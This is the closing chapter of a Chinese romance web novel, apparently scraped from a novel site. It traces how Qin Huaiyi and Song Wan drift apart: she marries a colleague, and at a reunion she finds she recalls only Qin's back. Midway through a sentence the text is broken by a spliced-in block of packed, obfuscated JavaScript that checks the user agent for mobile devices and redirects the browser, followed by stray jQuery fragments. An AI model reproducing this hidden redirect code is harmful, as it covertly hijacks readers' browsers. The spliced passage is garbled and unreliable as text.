余言树 作品
32. 后来
但不知道什么地方出了错，开了半年就成了亏损状态，全靠他和那朋友拿家里的钱往里填窟窿，就这么硬撑了一段时间，还是歇业了。
汪女士退休后和老秦在国内游山玩水，每次打电话说两句就叫他回去。
正好店也黄了，秦淮一在这儿也待了好多年，觉得没意思，就回去了。
秦淮一这次回国没打算走，老秦和汪女士又口径一致，时不时催他去谈恋爱。
秦淮一起初不当回事儿，听得多了就拿出一句“不婚主义，不打算找”应付过去。
自从秦淮一21岁那年在洛杉矶出了车祸，汪女士就特别信佛，有事没事就会去拜拜，求个心安。
在秦淮一丢出这句“不婚主义”后，汪女士去上香路上碰到个师傅，算了一卦，师傅说他命里事业兴旺，没有婚姻。
汪女士本来没那么着急，这么一卦算出来，反倒是沮丧了好一阵儿。
沈昭在大学期间谈了段恋爱，算是从初恋到结婚，修成正果。
沈昭的订婚宴秦淮一去了，等宴席散场，沈昭才有空和他闲聊天：“我爸妈已经找人算日子了，我跟淼淼明年就正式结婚，你就还不打算找女朋友啊？”
“再说吧。”秦淮一看着前头的音乐喷泉，嗓音淡淡。
沈昭：“方千雪呢，你俩不行吗，也算是青梅竹马了吧，我觉得她后来对你有意思。”
秦淮一勾了下唇，觉得好笑：“她对谁都那样儿。”
“行吧。”沈昭欲言又止，有话想问，“你们到底在一起过吗？”
“没有。”
秦淮一这些年从没谈过恋爱。
他见过各种各样的女生，低调沉稳的，张扬明艳的，但没有人另他心动，哪怕就一两个恍惚的瞬间。
秦淮一出国后，沈昭和他还经常联系，但毕竟远隔千里，秦淮一在那边儿具体怎么样沈昭也不清楚：“你这么多年，就从没喜欢过任何人？”
爱过分了是爱过，爱而不得也算是爱过。
但沈昭觉得吧，像秦淮一这样方方面面都长在女生审美点上的人，怎么会爱而不得。
长相，能力，财富，他没有拿不出手的。
喜欢这两个字过于遥远，秦淮一沉默一瞬说：“喜欢过。”
“她不喜欢我。”
“宋晚？”沈昭脱口而出的只有这个人，“不至于吧，都多久了。你还在等着她吗。”
秦淮一没说是，也没说不是：“随缘，有喜欢的就谈。”
秦淮一没把结婚算作一件非做不可的事，碰巧遇到了就谈，遇不到也无所谓。
他话是这样说，但他再过两个月就二十八周岁了，成年人的感情，哪那么轻易就能论上喜欢。
秦淮一没有刻意在等谁，那样十年又十年的苦情戏也不适合放在他身上。
但他确实，再喜欢不上任何人。
也怕别人一点一点，日积月累，吞噬掉她在他记忆里所有的影子。
-
宋晚和杨煜在一起后，他们共同领养了一只猫，是只长毛三花，很漂亮。
猫刚到家的时候怕生，只和宋晚一个人玩，别人一来它就缩在沙发底下不出来，拿什么哄都没用。
社恐属性。
有天杨煜和几个同事来宋晚这儿，其中一个人看杨煜在逗猫，觉得稀奇：“哎，杨煜，你怎么驯服它的，给它吃什么好吃的了，我上次喂它猫条它都不吃，这猫跟我们谁也不亲，只和宋晚一个人玩儿。”
“小猫不知道什么是喜欢，它只知道谁靠近它，它就爱谁。”杨煜拿起毛球一扔，猫扑出去咬。
宋晚端着切好的水果从厨房出来，听到这句话，忽然也愣了神。
同事拎起逗猫棒，抖了两下：“嗨，晚安。”
猫的名字叫晚安，晚安的晚。
宋晚将果盘放在茶几上，旁边的女同事神神秘秘地看着他俩：“你们什么时候结婚啊？回老家办的话我是不是喝不上你俩的喜酒了。”
杨煜抱起猫，笑了下：“到时候我包机票，必须请你们喝上这杯酒。”
过了没几天，晚安病了，宋晚请假带着猫去宠物医院看医生，路上同事给她打了一个电话问工作上的事，宋晚一句两句说不清：“你登我邮箱吧，上周他发我的文件里有日期，我记不得了，你核对一下。”
猫是吃坏了东西，医生开了点药，要她定时喂猫吃下去。
隔天宋晚刚到工位上，微信里就弹出一条八卦私信：【这是谁啊？你们现在还有联系吗？你们两个看着也太般配了，这话可不能让煜哥看见。】
随后附加一张照片，照片上是牵绊她一整个青春的少年。
高一元旦晚会表演，她在灯光和掌声里，和秦淮一同台谢幕。
她穿着华丽的裙摆站在台上，身旁高瘦挺拔的少年是她灰扑扑的青春里，最为浓墨重彩的篇章。
只是时间过去太久，久到她都忘了自己什么时候在邮箱里存了这么一张。
宋晚盯着手机里的合照看得出神，直到屏幕彻底暗下去之前，人才木讷地敲出一句：【早就没有联系了，也从来，没人把我们算作般配。】
-
29岁那年，宋晚和杨煜结婚。
他们从民政局出来，宋晚坐在车里拿起那本结婚证，还有点恍惚。
她小时候喜欢看偶像剧，那时情窦初开，有过很多对未来另一半的幻想，英俊潇洒，高大帅气。
此时她的另一半就坐在旁边开着车，说晚上要不要叫上岳母一起吃饭。
一切都好不真实。
宋晚十九岁认识杨煜，从学校毕业后又在一起工作，算起来在她二十多年的人生里，杨煜占了整整十年。
他们好像对彼此太熟悉了，熟悉到宋晚已经说不上他是否英俊潇洒，高大帅气，是否符合她当年对自己另一半的幻想。
宋晚当年生病以后，她那个血缘上的父亲又出现过几次，每次出现，都会给宋萍一些钱。
宋萍爱钱如命，口口声声说“谁愿意给钱她就跪着捡”，却唯独不要那个男人的钱，每次都会气急败坏地将他骂出去。
男人后来甚至追去了外婆那儿，外婆也冷眼看他，说别指望我们小小给你养老。
再然后，宋晚在刚参加工作的那一年，在电话里听说那个男人去世了，突发脑梗，救不回来。
爸爸这个角色也彻底在她人生中抹去了。
她那日刚结束这一通电话，转过身，杨煜收拾了电脑放进电脑包，留意到她床上那被子太薄：“天冷了，你这被子不会冷吗，晚上下班我和你去买一床厚的。”
情人节，宋晚收到了一大束花，包装精美却没有名字，她隐约能猜到是谁。
宋晚在午饭时间找杨煜提起这束花，杨煜笑笑，承认说：“我买的，我上午路过你们那边儿，看跟你关系好的那几个女同事都有花，就赶忙也买了一束，我想让你也有。”
当时他们还没有在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975500|158466||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
一起，杨煜怕她多想，开玩笑说：“别有负担，你拒绝过我，我可不会一直等你。”
杨煜真的是一个很好的人。
宋晚就在这样一天又一天里，动容了。
她觉得，她应该是爱杨煜的。
趁着结婚的喜事，宋晚休了小一个月的假。
附中同学聚会，林漾漾告诉了宋晚，宋晚不常回来，心想聚一下也好。
班长订好的包间里，到了时间也只凑齐了十几个人。
大家天南地北各有各的生活，当年一散，很难聚齐。
宋晚刚坐下，旁边就有人叫她：“你是宋晚吧，我都认不出来了。我，晓云。”
大家寒暄几句，聊天的共同话题还是高中那点事儿。
晓云忽然问她：“哎，你和秦淮一后来怎么样？”
冷不丁听到这个名字，宋晚竟然觉得陌生：“我们，已经不联系了。”
“啊？不联系了。”晓云表情惋惜，仿佛她没和秦淮一在一起是天大的遗憾，“当年那事儿闹得沸沸扬扬，谁不知道啊，我还以为你们转地下恋情了。”
“对对对，我那会儿是给谁发照片儿来着，发错了手一滑发年级群里了，我真没那么欠。”林志远扶了下眼镜，笑着说，“秦淮一冲进三班过来就揪着我打，下手可真狠，我这鼻梁骨都差点儿被他一拳打断了。”
旁边的人跟着起哄：“幸好没有，真打断了可挂不住眼镜了。”
“就是，秦淮一他人呢，没人通知他吗。”
“不知道，他不是在美国吗？”
“回来了吧，我上个月还看见他了，感觉他就没怎么变样儿，特好认。”
宋晚握着玻璃杯，咬着吸管喝了口饮料。
她从别人口中听到秦淮一的名字，还是会不受控制地，心下一空。
回想起秦淮一，她脑子里第一个出现的，是课间趴在走廊的围栏上，无数次望向他的瞬间。
少年姿态慵懒，站得散漫，他的背影清瘦单薄，是十几岁学生时代独有的模样。
明明应该有更多值得牢牢记住的瞬间，可她能毫不费力想起的，却只有他的背影。
这场饭局有三五个后进来的，几乎每个人看到宋晚，都要提一句秦淮一，在他们的记忆里，宋晚和秦淮一这个名字，早就牢牢捆绑在了一起，再难分开。
当年的谣言并没有人澄清，只是他们两个先后离开，没人再提了而已。
又有人问宋晚：“你们当年那一场，也算是轰轰烈烈了，结果你们随后都走了，结果呢，后来怎么样了？”
宋晚只是摇摇头，解释说：“我们其实，没再联系。”
每个人听到这样的回答都像晓云一个反应，张了张嘴巴，难以置信：“啊？怎么会这样。”
宋晚觉得人有时候真的很奇怪，明明当年，从没有人觉得他们般配。
聚会结束，宋晚回家，进门时宋女士翻着结婚时的礼金登记，招手叫她过去：“小小，你们结婚还请他了？”
“谁啊。”宋晚疑惑皱了皱眉
宋萍指着其中一个名字：“秦淮一。”
宋晚没有告诉秦淮一她结婚的消息，也不知道他那天来参加了她的婚礼。
宋晚这天夜里，久违地打开朋友圈，又细细翻过从前的每一条。
上面每一个字，都像是尘封已久的秘密。
这场秘密的结尾，是宋晚在仅自己可见的朋友圈里，缓缓敲下一句：
后来终于有人问起我关于秦淮一的事情，可是好遗憾啊，我只记得他的背影。
——全文完——